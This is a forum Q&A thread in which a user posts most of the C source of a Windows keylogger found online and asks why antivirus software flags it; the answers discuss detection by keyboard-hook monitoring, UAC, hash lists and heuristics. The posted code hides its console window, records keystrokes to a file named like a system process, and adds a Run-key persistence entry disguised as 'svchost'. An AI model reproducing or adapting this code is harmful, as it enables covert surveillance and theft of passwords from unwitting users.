How is something as simple as a keylogger detected on a computer?

Question

I found one online, which I wanted to try out at my house and see if it actually worked. It's written in C, and it is not very big at all considering half of it is just a bunch of cases for which key is pressed, ex:

case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;

and it also does a bit with the registry, like

reg_key=RegOpenKeyEx    (HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);

My windows 7 computer will pick this up as 'Potentially harmful software', while my XP computer at school with Symantec Endpoint Protection will not.. Being corporate software, I thought Symantec would pick it up in a heartbeat but it did not..

So my question is, what establishes this program as 'Potentially Harmful Software'? Is it the modification / usage of the registry or some other factor that generally gets a keylogger caught?

Note: There are other sections of the program, but I'd rather not just post the whole keylogger here =p If you're interested in finding one you can do that yourself =p

Here's most of the keylogger, but I left out a few statements (if-else and switch) that pretty much only wrote the data to memory. Would this help to answer my question?

    #include <windows.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);

int main(void)
{
   HWND stealth; /*creating stealth (window is not visible)*/
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);

   int test,create;
   test=test_key();/*check if key is available for opening*/

   if (test==2)/*create key*/
   {
       char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
       create=create_key(path);

   }


   int t=get_keys();

   return t;
}  

int get_keys(void)
{
           short character;
             while(1)
             {
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  

                            FILE *file;
                            file=fopen("svchost.log","a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }            
                            if(file!=NULL)
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;    

      A lot of switch statements left out for brevity
      I left out a lot of if-elses as well, all they did was write the
      data to the file.

           }
           return EXIT_SUCCESS;                            
}                                                

int test_key(void)
{
   int check;
   HKEY hKey;
   char path[BUFSIZE];
   DWORD buf_length=BUFSIZE;
   int reg_key;

   reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
   if(reg_key!=0)
   {    
       check=1;
       return check;
   }        

   reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

   if((reg_key!=0)||(buf_length>BUFSIZE))
       check=2;
   if(reg_key==0)
       check=0;

   RegCloseKey(hKey);
   return check;  
}

int create_key(char *path)
{  
       int reg_key,check;

       HKEY hkey;

       reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
       if(reg_key==0)
       {
               RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
               check=0;
               return check;
       }
       if(reg_key!=0)
               check=1;

       return check;
}

Answer 1

In order to understand why certain programs (malicious and non-malicious) are flagged by Anti-Virus software, we need to understand some of the basic principles that Anti-Virus software use.

Access to unauthorized resources

The Keyboard Hook

As others have suggested, the keyboard hook is one of the first ways in which a primitive keylogger gets detected. If you're not a programmer then you may be confused between user input and keyboard hooks. A keyboard hook reads all traffic of user i/p through the (say microsoft message channel). Most programs only require to listen to i/p directed to them, not every OS program. A window handle is generally used to specify which i/p goes where. However, the reason the antivirus didn't detect this is because of two potential reasons:

• Although keyboard hooks are not in general program use, programs such a macros, certain games, etc require to filter user input before it reaches any program. For such programs it is possible to over ride the security flag.
• The Anti-Virus is not a real time one or hasn't been configured on a alert level to notify the user of that PC immediately. It could either have that alert disabled or asked to log it to memory.

Read More: http://www.keylogger.org/articles/arkon/keyboard-hook-6.html

Registry Windows has recently adopted a Linux-like(without the password ie. :P) approach towards security wherein un-authorized resource use or program execution causes a security popup which suspends other processes and can only been dismissed by direct user input. This feature, UAC (User Account Control) is what was responsible imo for detecting your keylogger initially as an unauthorized new software. Using the keyboard hook, running with no open forms and hidden in the background all added to this.

The Main Failure

File Creation Many antivirus solutions store a list of all files you have on your PC, whenever a new file is created, its origin is traced back. If this does not check up, a security flag is raised. This feature is used in conjunction with scans in real time, so extracting contents of a zip, in modern day AVs causes an immediate search of the newly found files.

White list & Black list AVs store billions of program file hashes in order to identify a simple modification of even a byte of a windows DLL. They also store all known and documented programs in the world in order to better classify them from the other evil ones.

Ultimately, the fact that your AV didn't do the following is the main cause of concern:

1. Detect execution of an unfamiliar program.
2. Not detect registry or keyboard hook access by this program.
3. Not flag the creation of files without user consent by the unfamiliar program.
4. Not alarm when this program tried to send this data unencrypted through the network to the attacker. (this being the last stance where a data leak could be prevented)

Note: As another answer states, the .exe having originated from another computer and also caused a security alert on a Win 7 machine, etc.

Answer 2

In my experience, most anti virus/malware solutions don't complain about low-level-keyboard-hooks, which are the easiest way to create a keylogger.

One of my most popular programs contained such a keyboard hook, and only one user told me about his firewall complaining. On the other hand, several other modules of it, which were pretty harmless, triggered several false positives.

I don't know why they don't consider low-level-keyboard-hooks as evil. One possible reason might be that incompetent programmers people who don't know better abuse them to get global hotkeys, instead of using the hotkey APIs.

Interestingly normal global keyboard hooks, which result in dll injection on keyboard events are commonly detected.

Answer 3

In this instance, the fact that it is reading keystrokes and storing them will be what flagged this one up. Generally that shouldn't be needed by anything so it should be used as a trigger.

As @CodeInChaos says, though, this often isn't picked up - which seems like a massive oversight.

Answer 4

One comment you made left me confused. I asked if you downloaded the exe and you said you didn't however your question says you downloaded at home and it got you the message. For that example i believe the exe was flagged by unsafe which windows does automatically. If you right click properties at the bottom of the general tab there will be something saying this exe came from a different computer with an unblock button.

Windows XP may not have that functionality which is why it wasnt picked up.

Answer 5

The fact of the matter is that the Anti virus protection currently offered is simply not enough. Majority of Anti virus companies do not have advanced heuristic capabilities (some dont have any at all). Almost all of them rely on the MD5 checksum of a particular file to mark it as a virus, this method works on all the big boys (as long as they're not polymorphic) but it fails to catch the smaller, less well known "malware".

I feel that it probably did not detect it because it did not have the checksum of that file